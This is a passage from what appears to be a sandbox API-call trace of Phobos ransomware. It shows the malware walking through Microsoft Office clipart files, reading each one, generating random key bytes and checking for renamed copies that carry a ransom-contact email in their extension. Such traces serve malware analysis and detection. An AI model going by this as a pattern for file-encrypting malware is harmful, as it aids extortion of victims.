office\\root\\clipart\\pub60cor\\j0152704.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.079] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.080] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4908) returned 1 [0151.080] CloseHandle (hObject=0x564) returned 1 [0151.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 0x220 [0151.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.080] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.081] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4580) returned 1 [0151.081] CloseHandle (hObject=0x564) returned 1 [0151.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 0x220 [0151.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.082] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.083] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7020) returned 1 [0151.083] CloseHandle (hObject=0x564) returned 1 [0151.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 0x220 [0151.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.083] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.084] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7876) returned 1 [0151.084] CloseHandle (hObject=0x564) returned 1 [0151.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 0x220 [0151.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.085] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.086] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14888) returned 1 [0151.086] CloseHandle (hObject=0x564) returned 1 [0151.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 0x220 [0151.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.086] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.240] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9072) returned 1 [0151.240] CloseHandle (hObject=0x564) returned 1 [0151.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 0x220 [0151.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.243] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.246] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15448) returned 1 [0151.246] CloseHandle (hObject=0x564) returned 1 [0151.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf")) returned 0x220 [0151.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.250] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.252] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12752) returned 1 [0151.252] CloseHandle (hObject=0x564) returned 1 [0151.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf")) returned 0x220 [0151.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.253] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.255] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7432) returned 1 [0151.255] CloseHandle (hObject=0x564) returned 1 [0151.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf")) returned 0x220 [0151.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.258] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.259] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=21716) returned 1 [0151.259] CloseHandle (hObject=0x564) returned 1 [0151.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf")) returned 0x220 [0151.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.260] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.261] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17912) returned 1 [0151.261] CloseHandle (hObject=0x564) returned 1 [0151.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf")) returned 0x220 [0151.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.261] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.262] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11396) returned 1 [0151.262] CloseHandle (hObject=0x564) returned 1 [0151.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf")) returned 0x220 [0151.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.263] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.265] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18652) returned 1 [0151.266] CloseHandle (hObject=0x564) returned 1 [0151.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf")) returned 0x220 [0151.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.266] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.270] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17966) returned 1 [0151.270] CloseHandle (hObject=0x564) returned 1 [0151.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf")) returned 0x220 [0151.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.271] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.272] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=29406) returned 1 [0151.272] CloseHandle (hObject=0x564) returned 1 [0151.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf")) returned 0x220 [0151.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.273] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.274] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=46484) returned 1 [0151.274] CloseHandle (hObject=0x564) returned 1 [0151.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg")) returned 0x220 [0151.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.275] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.276] 